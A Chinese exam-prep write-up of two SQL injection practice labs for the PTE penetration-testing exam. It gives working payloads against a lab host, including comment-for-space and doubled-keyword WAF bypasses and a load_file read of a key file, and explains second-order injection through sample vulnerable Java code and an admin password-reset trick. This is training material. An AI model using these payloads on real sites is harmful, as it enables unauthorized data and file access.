由於最近備戰pte考試,花錢搞了兩套靶場,可惜大題環境差點,前面幾題廢了好大力氣才做出來,給大家分享下靶場思路。
首先,先總結一下考試的內容。題型分為選擇題和實操題兩部分。滿分為100分,選擇題有20道,共20分,主要考查一下安全方面的基礎知識。
剩下的為80分的實操題,分為6個大題。
1.SQL注入(通常為mysql數據庫)
2.文件上傳漏洞
3.文件包含漏洞
4.命令執行漏洞
5.日志審計
6.綜合滲透分析(分為3道小題)
第一題為SQL注入的題
個人覺得SQL注入的題就是多練習,把常見的各種姿勢練熟悉,以及繞常規的WAF的技巧掌握了就基本上沒什么問題了。
靶場一
為了加深印象,就還是按照標准測試來:
發現過濾了空格,union,空格用/**/來代替,union考慮用雙寫來繞過。
第一步:閉合id找注入點
構造payload http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1%23
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2%23
第二步:判斷字段數:
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1/**/group/**/by/**/4%23
當group by 到5時,發現報錯。
第三步:找回顯點
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,3,4%23
第四步:由於題目直接說了通過SQL注入漏洞讀取/tmp/360/key文件,答案就在文件中。讀文件直接用load_file即可搞定。
回顯點有好多個,這里直接在3、4處顯示文件內容。
構造最終的payload:
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=?id=1%27)/**/and/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),load_file(%27/tmp/360/key%27)%23
當然也可以用sqlmap來跑,空格被過濾,這里需要加tamper腳本
靶場二
做靶場二之前先了解下二階注入。
注入分類:
SQL注入一般分為兩類:一階SQL注入(普通SQL注入),二階SQL注入
什么是二階注入?
二階注入就是無法直接注入,它時指已存儲(數據庫、文件)的用戶輸入被讀取后再次進入到 SQL 查詢語句中導致的注入。
注入比較:
一階SQL注入:
1、一階SQL注入發生在一個HTTP請求和響應中,對系統的攻擊是立即執行的;
2、攻擊者在http請求中提交非法輸入;
3、應用程序處理非法輸入,使用非法輸入構造SQL語句;
4、在攻擊過程中向攻擊者返回結果。
二階SQL注入:
1、攻擊者在http請求中提交惡意輸入;
2、惡意輸入保存在數據庫中;
3、攻擊者提交第二次http請求;
4、為處理第二次http請求,程序在檢索存儲在數據庫中的惡意輸入,構造SQL語句;
5、如果攻擊成功,在第二次請求響應中返回結果。
注入原理:
假設一個網站數據庫中存在一個用戶名為:“admin”,密碼為:“123456”。攻擊者注冊用戶名為:“admin'#”,密碼為:“123456”;程序中的代碼為:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String pwd=StringEscapeUtiles.escapeSql(request.getParameter("pwd"));
String sql1="insert into user(username,password) values ("name","pwd")";
程序在把輸入數據存入數據庫之前,對輸入的數據中的單引號進行了轉義來防止惡意輸入對對數據庫中數據帶來的影響,避免了一階注入帶來的問題,但是在數據庫中存入的用戶名仍然為:“admin'#”。現在攻擊者要更新密碼,程序會首先判斷用戶是否存在,代碼為:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String oldpwd=StringEscapeUtiles.escapeSql(request.getParameter("oldpwd"));
String newpwd=StringEscapeUtiles.escapeSql(request.getParameter("newpwd"));
String sql2 = "select * from user where username="name" and password="oldpwd"";
確認用戶存在且密碼正確時,應用程序執行更新密碼語句:
sql3="update user set password="newpwd" where username="username"";
在數據庫中執行語句為:
update user set password =“123456” where username='admin'# '
在數據庫語句這種“-- ”或者“#”表示注釋,因此“-- ”或者“#”后面的語句不會執行;最終攻擊者改變的不是“admin'# ”的密碼,而是admin的密碼,從而實現攻擊。
解題第一步:注冊用戶名為admin'#的用戶,密碼為123456
解題第二步:登陸發現沒有權限查看,頁面可以重置密碼。重置密碼為root123
解題第三步:看看用admin 和 root123能否完成二階注入,獲取key
至此兩套靶場的sql注入成功拿下。